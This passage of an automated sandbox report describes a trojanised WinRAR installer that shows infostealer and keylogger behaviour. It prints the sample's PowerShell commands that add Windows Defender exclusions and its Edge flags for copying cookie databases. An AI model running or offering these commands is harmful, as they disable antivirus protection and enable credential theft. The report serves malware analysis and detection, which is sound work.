\"Rar.exe\"","origin":"YARA Signature","mitre_attack_id":"T1560.001","relevance":1,"id":"yara-160","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE5BC70C38697830F4B2AB69E4B83D]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000001.101292.01150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"Found string \".kdbx\" (Indicator: \".kdbx\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"keepass_config\" (Indicator: \"keepass\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --user-data-dir=\"%TEMP%\\abdv2_lu\" --no\" (Indicator: \"--user-data-dir\"; Source: \"00000000-00006508-00000C47-7492188432\")\n Found string \"--user-data-dir=\"%TEMP%\\abdv2_lu\" --no-first-run\" (Indicator: \"--user-data-dir\"; File: \"msedge.exe\")\n Found string \"\" --user-data-dir=\"\" (Indicator: \"--user-data-dir\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"\"%s\" --user-data-dir=\"%s\" --no-first-run --no-default-browser-check --disable-gpu --no-sandbox --disable-features=LockProfileCookieDatabase\" (Indicator: \"--user-data-dir\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"file/memory contains long string(File: \"RarExt32.dll\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to access Microsoft Outlook file path","description":"\"winrar-x64-710.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"\"; Value: \"\")\n \"winrar-x64-710.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1114","relevance":1,"id":"registry-237","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"winrar-x64-710.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 81B90000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$56","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"winrarx64-setup.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"winrar-x64-710.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"uninstall.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007200)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004404)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007200)\n \"uninstall.exe\" called \"GetComputerNameW\" (UID: 00000000-00007752)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004404)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007200)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"winrar-x64-710.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"winrar-x64-710.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004404)\n \"powershell.exe\" called \"GetUserNameExW\" (UID: 00000000-00004972)\n \"test.exe\" called \"GetUserNameA\" (UID: 00000000-00004284)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$57","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath\" (Indicator: \"ForEach-Object\"; Source: \"00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp\")\n Found string \"$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath\" (Indicator: \"ForEach-Object\"; Source: \"00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to to enumerates the credentials (API string)","description":"Found reference to API \"(CredEnumerateA not available)\" (Indicator: \"CredEnumerate\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-81","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains reference to Outlook data files path","description":"Found string \"%USERPROFILE%\\Documents\\Outlook Files\\*\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00006508-00000C2D-7641150911\")","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":3,"id":"string-570","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00004284.00000000.102677.467CD000.00000002.mdmp\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00004284.00000000.102677.467CD000.00000002.mdmp\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00004284.00000000.102677.467CD000.00000002.mdmp\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00004284.00000000.102677.467CD000.00000002.mdmp\n \"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00004284.00000000.102677.467CD000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"file/memory contains long string with (Indicator: \"[F9]\"; File: \"RarExt32.dll\")\n Found string \"[Tab]\" (Indicator: \"[tab]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"[Backspace]\" (Indicator: \"[BACKSPACE]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"[Esc]\" (Indicator: \"[esc]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"[Left]\" (Indicator: \"[left]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"[Right]\" (Indicator: \"[right]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"[Down]\" (Indicator: \"[down]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"[Home]\" (Indicator: \"[home]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found string \"[End]\" (Indicator: \"[end]\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"hostname\" (Indicator: \"hostname\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"winrar-x64-710.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"MicrosoftEdgeSecurity.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007200)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004404)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004972)\n \"MicrosoftEdgeSecurity.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006508)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$58","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"test.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"F88AC69C2B4CDD010000000000000000000000000200000000\")\n \"test.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"9FB341C12B4CDD010000000000000000000000000200000000\")\n \"MicrosoftEdgeSecurity.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"MicrosoftEdgeSecurity.exe\" opened \"\\Device\\KsecDD\"\n \"msedge.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:'\"\" (UID: 00000000-00007200)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\\\EdgeUpdate\\\\'\"\" (UID: 00000000-00004404)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\\\EdgeUpdate\\\\\\\\test.exe'\"\" (UID: 00000000-00004972)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"INetC.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nso98E5.tmp\\INetC.dll]- [targetUID: 00000000-00007012]\n \"nsExec.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nso98E5.tmp\\nsExec.dll]- [targetUID: 00000000-00007012]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"powershell.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log]- [targetUID: 00000000-00004404]\n Dropped file: \"What is new in the latest version.lnk\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\What is new in the latest version.lnk]- [targetUID: 00000000-00007752]\n Dropped file: \"WinRAR help.lnk\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\WinRAR help.lnk]- [targetUID: 00000000-00007752]\n Dropped file: \"WinRAR.lnk\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\WinRAR.lnk]- [targetUID: 00000000-00007752]\n Dropped file: \"Console RAR manual.lnk\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\Console RAR manual.lnk]- [targetUID: 00000000-00007752]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004404]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"winrarx64-setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"winrarx64-setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"winrar-x64-710.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"uninstall.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7200)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4404)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4972)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugObjectHandle","description":"\"test.exe queries ProcessDebugObjectHandle (UID: 4284), \"MicrosoftEdgeSecurity.exe queries ProcessDebugObjectHandle (UID: 6508)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-240","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/26 Antivirus vendors marked sample as malicious (11% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceExW@KERNEL32.DLL at 00000000-00004404-60327-135-012FDAD1\n FindResourceExW@KERNEL32.DLL at 00000000-00004404-60327-139-012FD934","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$5c","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$5e","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"$5f","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$60","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.133.231 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs\" matched process \"00000000-00006508\" as \"Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs.\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"winrarx64-setup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"winrar-x64-710.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 